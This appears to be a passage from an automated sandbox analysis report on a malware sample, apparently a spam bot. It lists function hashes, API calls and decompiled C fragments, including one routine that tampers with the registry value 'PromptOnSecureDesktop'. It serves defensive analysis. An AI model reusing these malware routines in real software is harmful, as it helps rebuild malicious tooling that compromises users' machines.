Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 02F0E01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 02F0E04F

Strings

A, xrefs: 02F0E020, 02F0E025
A, xrefs: 02F0E01F
A, xrefs: 02F0E068

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: 51097383374bd70528dd7ccf272c41ba3ca5edf87a1cb570fa6ffc6d08dee1d0
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: A5F06272A007029BCB30CF25D8C4E92B7E9FB45765B448A6AE664C30A0D374A598DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 02F0E3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,02F044CB,00000000,00000000,00000000), ref: 02F0E459
CloseHandle.KERNEL32(00000001,00000003), ref: 02F0E46D

Part of subcall function 02F0E2E5: RegCreateKeyExA.ADVAPI32(80000001,02F0E4F3,00000000,00000000,00000000,00020106,00000000,02F0E4F3,00000000,000000E4), ref: 02F0E302
Part of subcall function 02F0E2E5: RegSetValueExA.ADVAPI32(02F0E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 02F0E377
Part of subcall function 02F0E2E5: RegDeleteValueA.ADVAPI32(02F0E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 02F0E3A8
Part of subcall function 02F0E2E5: RegCloseKey.ADVAPI32(02F0E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,02F0E4F3), ref: 02F0E3B1

Strings

PromptOnSecureDesktop, xrefs: 02F0E4DA, 02F0E4DF, 02F0E520, 02F0E54A

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 8591fb4c266fd3e91c897ec9bab9fa49fa48e5505e34f1ca5efbc1e107c21359
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: 164106B6D00208BADB30AE618D85FEF3B6DEF04794F008465FF09A41D1E7B59650EAB5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 02F08319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 02F083AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 02F08460

Part of subcall function 02F069AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 02F069CE
Part of subcall function 02F069AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 02F06A0F
Part of subcall function 02F069AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 02F06A23

Part of subcall function 02F0EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,02F01DB8,?), ref: 02F0EE91
Part of subcall function 02F0EE7E: HeapFree.KERNEL32(00000000), ref: 02F0EE98

Strings

PromptOnSecureDesktop, xrefs: 02F0839B, 02F083A0, 02F0846C

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: b832474a34e0a46909ab035e794067f9e556582dbda8a51f5e31533875503335
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 914151B2D00109BEEB20EBA49EC0EEF776DDB043C4F1444AAEB04E6190E7745A94AB55

Uniqueness

Uniqueness Score: -1.00%

Function 02F0E61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,02F0E842,00000000,00020119,02F0E842,PromptOnSecureDesktop), ref: 02F0E636
RegCloseKey.ADVAPI32(02F0E842,?,?,?,?,000000C8,000000E4), ref: 02F0E770

Strings

PromptOnSecureDesktop, xrefs: 02F0E620

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: aa89cddaa203797ff62be15649c985754afefeaaf5255cf1084e9c23ee5b1bb6
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: DE4116B2D0021DAFEF21AFD4DD80EEEBBB9FB04744F004566EA10B2190E7319A559F60

Uniqueness

Uniqueness Score: -1.00%

Function 02F0AFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 02F0AFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 02F0AFF6

Part of subcall function 02F0AF58: gethostname.WS2_32(?,00000080), ref: 02F0AF6C
Part of subcall function 02F0AF58: lstrcpy.KERNEL32(?,00410B90), ref: 02F0AFCF

Part of subcall function 02F03305: gethostname.WS2_32(?,00000080), ref: 02F03328
Part of subcall function 02F03305: gethostbyname.WS2_32(?), ref: 02F03332

Part of subcall function 02F0A9F3: inet_ntoa.WS2_32(00000000), ref: 02F0A9F9

Strings

%OUTLOOK_BND_, xrefs: 02F0B05F, 02F0B064, 02F0B0A7, 02F0B0C6

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: faa957907d5a87a70de68fb5c86d70524704f1a09516a2fe51e16d068e781868
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 13415FB290024CABDF25EFA0CC85EEE3BADFF04344F144526FA2892191EA75D944DF54

Uniqueness

Uniqueness Score: -1.00%

Function 02F0943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 02F0951F
Sleep.KERNEL32(000001F4), ref: 02F09546

Strings

, xrefs: 02F094C2

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 01302fadd8e6a8ac3ea66863f46d9eae6c741946be9bd1fb3eea9f4a11841d4f
Instruction ID: 73509fac41167e708767c1559feb48b5b3346802856cd865782098b576ac7b60
Opcode Fuzzy Hash: 01302fadd8e6a8ac3ea66863f46d9eae6c741946be9bd1fb3eea9f4a11841d4f
Instruction Fuzzy Hash: 5B411376D082446EEB328664CCDC7BA3BE49B42B94F1881A5D396872D3F7F44980E751

Uniqueness

Uniqueness Score: -1.00%

Function 02F0BC63, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02F0B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 02F0BA23
InterlockedIncrement.KERNEL32(?), ref: 02F0BA7D
GetTickCount.KERNEL32 ref: 02F0BB62
GetTickCount.KERNEL32 ref: 02F0BB82
InterlockedIncrement.KERNEL32(?), ref: 02F0BDFE
closesocket.WS2_32(00000000), ref: 02F0BE9D

Strings

%FROM_EMAIL, xrefs: 02F0BC66

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: 08b4eadb0f46df2c9156eb8b7b55eeabc64da92ad48b374011afcf4d05119497
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: C2319F71900248DFDF25DFA4DCD4AEEB7A9EB44745F20402AFB25921A0EB35D684DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

